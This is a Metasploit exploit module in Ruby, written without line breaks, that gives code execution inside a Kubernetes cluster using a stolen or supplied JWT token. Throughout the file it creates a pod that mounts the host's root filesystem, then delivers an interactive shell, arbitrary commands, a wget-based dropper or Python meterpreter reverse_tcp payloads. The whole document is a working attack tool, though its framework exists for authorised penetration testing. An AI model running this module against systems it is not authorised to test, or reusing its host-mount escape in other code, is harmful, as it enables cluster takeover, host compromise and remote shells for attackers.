# -*- coding: binary -*- ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit Rank = ManualRanking include Msf::Exploit::Retry include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HTTP::Kubernetes def initialize(info = {}) super( update_info( info, 'Name' => 'Kubernetes authenticated code execution', 'Description' => %q{ Execute a payload within a Kubernetes pod. }, 'License' => MSF_LICENSE, 'Author' => [ 'alanfoster', 'Spencer McIntyre' ], 'References' => [ ], 'Notes' => { 'SideEffects' => [ ARTIFACTS_ON_DISK, # the Linux Dropper target uses the command stager which writes to disk CONFIG_CHANGES, # the Kubernetes configuration is changed if a new pod is created IOC_IN_LOGS # a log event is generated if a new pod is created ], 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ] }, 'DefaultOptions' => { 'SSL' => true }, 'Targets' => [ [ 'Interactive WebSocket', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Type' => :nix_stream, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' } } } ], [ 'Unix Command', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Type' => :nix_cmd } ], [ 'Linux Dropper', { 'Arch' => [ARCH_X86, ARCH_X64], 'Platform' => 'linux', 'Type' => :nix_dropper, 'DefaultOptions' => { 'CMDSTAGER::FLAVOR' => 'wget', 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'Python', { 'Arch' => [ARCH_PYTHON], 'Platform' => 'python', 'Type' => :python, 'PAYLOAD' => 'python/meterpreter/reverse_tcp' } ] ], 'DisclosureDate' => '2021-10-01', 'DefaultTarget' => 0, 'Platform' => [ 'linux', 'unix' ], 'SessionTypes' => [ 'meterpreter' ] ) ) register_options( [ Opt::RHOSTS(nil, false), Opt::RPORT(nil, false), Msf::OptInt.new('SESSION', [ false, 'An optional session to use for configuration' ]), OptString.new('TOKEN', [ false, 'The JWT token' ]), OptString.new('POD', [ false, 'The pod name to execute in' ]), OptString.new('NAMESPACE', [ false, 'The Kubernetes namespace', 'default' ]), OptString.new('SHELL', [true, 'The shell to use for execution', 'sh' ]), ] ) register_advanced_options( [ OptString.new('PodImage', [ false, 'The image from which to create the pod' ]), OptInt.new('PodReadyTimeout', [ false, 'The maximum amount time to wait for the pod to be created', 40 ]), ] ) end def pod_name @pod_name || datastore['POD'] end def create_pod if datastore['PodImage'].blank? image_names = @kubernetes_client.list_pods(namespace).fetch(:items, []).flat_map { |pod| pod.dig(:spec, :containers).map { |container| container[:image] } }.uniq fail_with(Failure::NotFound, 'An image could not be found from which to create a pod, set the PodImage option') if image_names.empty? else image_names = [ datastore['PodImage'] ] end ready = false image_names.each do |image_name| print_status("Using image: #{image_name}") random_identifiers = Rex::RandomIdentifier::Generator.new({ first_char_set: Rex::Text::LowerAlpha, char_set: Rex::Text::LowerAlpha + Rex::Text::Numerals }) new_pod_definition = { apiVersion: 'v1', kind: 'Pod', metadata: { name: random_identifiers[:pod_name], labels: {} }, spec: { containers: [ { name: random_identifiers[:container_name], image: image_name, command: ['/bin/sh', '-c', 'exec tail -f /dev/null'], volumeMounts: [ { mountPath: '/host_mnt', name: random_identifiers[:volume_name] } ] } ], volumes: [ { name: random_identifiers[:volume_name], hostPath: { path: '/' } } ] } } new_metadata = @kubernetes_client.create_pod(new_pod_definition, namespace)[:metadata] @pod_name = random_identifiers[:pod_name] print_good("Pod created: #{pod_name}") print_status('Waiting for the pod to be ready...') ready = retry_until_truthy(timeout: datastore['PodReadyTimeout']) do pod = @kubernetes_client.get_pod(pod_name, namespace) pod_status = pod[:status] next if pod_status == 'Failure' container_statuses = pod_status[:containerStatuses] next unless container_statuses ready = container_statuses.any? { |status| status[:ready] } ready rescue Msf::Exploit::Remote::HTTP::Kubernetes::Error::ServerError => e elog(e) false end if ready report_note( type: 'kubernetes.pod', host: rhost, port: rport, data: { pod: new_metadata.slice(:name, :namespace, :uid, :creationTimestamp), imageName: image_name }, update: :unique_data ) break end print_error('The pod failed to start within the expected timeframe') begin @kubernetes_client.delete_pod(@pod_name, namespace) rescue StandardError print_error('Failed to delete the pod') end end fail_with(Failure::Unknown, 'Failed to create a new pod') unless ready end def exploit if session print_status("Routing traffic through session: #{session.sid}") configure_via_session end validate_configuration! @kubernetes_client = Msf::Exploit::Remote::HTTP::Kubernetes::Client.new({ http_client: self, token: api_token }) create_pod if pod_name.blank? case target['Type'] when :nix_stream # Setting tty => true allows the shell prompt to be seen but it also causes commands to be echoed back websocket = @kubernetes_client.exec_pod( pod_name, datastore['Namespace'], datastore['Shell'], 'stdin' => true, 'stdout' => true, 'stderr' => true, 'tty' => false ) print_good('Successfully established the WebSocket') channel = Msf::Exploit::Remote::HTTP::Kubernetes::Client::ExecChannel.new(websocket) handler(channel.lsock) when :nix_cmd execute_command(payload.encoded) when :nix_dropper execute_cmdstager else execute_command(payload.encoded) end rescue Rex::Proto::Http::WebSocket::ConnectionError => e res = e.http_response fail_with(Failure::Unreachable, e.message) if res.nil? fail_with(Failure::NoAccess, 'Insufficient Kubernetes access') if res.code == 401 || res.code == 403 fail_with(Failure::Unknown, e.message) else report_service(host: rhost, port: rport, proto: 'tcp', name: 'kubernetes') end def execute_command(cmd, _opts = {}) case target['Platform'] when 'python' command = [datastore['Shell'], '-c', "exec $(which python || which python3 || which python2) -c #{Shellwords.escape(cmd)}"] else command = [datastore['Shell'], '-c', cmd] end result = @kubernetes_client.exec_pod_capture( pod_name, datastore['Namespace'], command, 'stdin' => false, 'stdout' => true, 'stderr' => true, 'tty' => false ) do |stdout, stderr| print_line(stdout.strip) unless stdout.blank? print_line(stderr.strip) unless stderr.blank? end fail_with(Failure::Unknown, 'Failed to execute the command') if result.nil? status = result&.dig(:error, 'status') fail_with(Failure::Unknown, "Status: #{status || 'Unknown'}") unless status == 'Success' end end